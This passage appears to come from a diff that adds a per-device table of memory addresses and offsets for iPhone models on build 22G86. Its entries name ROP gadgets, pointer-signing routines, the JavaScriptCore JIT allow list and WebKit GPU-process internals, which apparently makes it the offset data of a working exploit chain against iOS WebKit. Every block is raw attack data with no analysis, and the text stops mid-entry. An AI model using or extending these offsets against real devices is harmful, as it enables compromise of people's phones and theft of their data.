CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703f08n, + free_slabs : 0x1ed7bd690n, + gadget_control_1_ios184 : 0x23ed492ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f019150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d68b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d64b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6578n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23caeb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc35870n, + libsystem_c__atexit_mutex : 0x1ed6e2b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1d80n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2578cbe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271378000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876b28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed8838f8n, + WebCore__initPKContact_value : 0x1ed883900n, + WebCore__PAL_getPKContactClass : 0x1ed87adb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8820d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8820c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8820b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877d00n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone13,2_3_22G86": { + __pthread_head : 0x26971c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f51b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704048n, + free_slabs : 0x1ed7bd7d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d69f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d66a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d66a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d65f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d66b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e2c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1ec0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a2ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271da8000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876c68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883a38n, + WebCore__initPKContact_value : 0x1ed883a40n, + WebCore__PAL_getPKContactClass : 0x1ed87aef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8821f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877e40n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, +"iPhone13,3_22G86": { + __pthread_head : 0x26971c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f51b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704048n, + free_slabs : 0x1ed7bd7d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d69f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d66a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d66a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d65f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d66b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e2c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1ec0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a2ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271da8000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876c68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883a38n, + WebCore__initPKContact_value : 0x1ed883a40n, + WebCore__PAL_getPKContactClass : 0x1ed87aef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8821f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877e40n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + + "iPhone13,4_22G86": { + __pthread_head : 0x26971c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f51b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704048n, + free_slabs : 0x1ed7bd7d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d69f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d66a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d66a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d65f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d66b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e2c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1ec0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a2ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271da8000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876c68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883a38n, + WebCore__initPKContact_value : 0x1ed883a40n, + WebCore__PAL_getPKContactClass : 0x1ed87aef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8821f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877e40n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,2_22G86": { + __pthread_head : 0x269ae0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f53b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704248n, + free_slabs : 0x1ed7bd9d0n, + gadget_control_1_ios184 : 0x23ed192ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6bf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d68a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d68a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d68b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d67f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d68b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cabb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc05870n, + libsystem_c__atexit_mutex : 0x1ed6e2e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e20c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a6ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272178000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876e68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883c38n, + WebCore__initPKContact_value : 0x1ed883c40n, + WebCore__PAL_getPKContactClass : 0x1ed87b0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 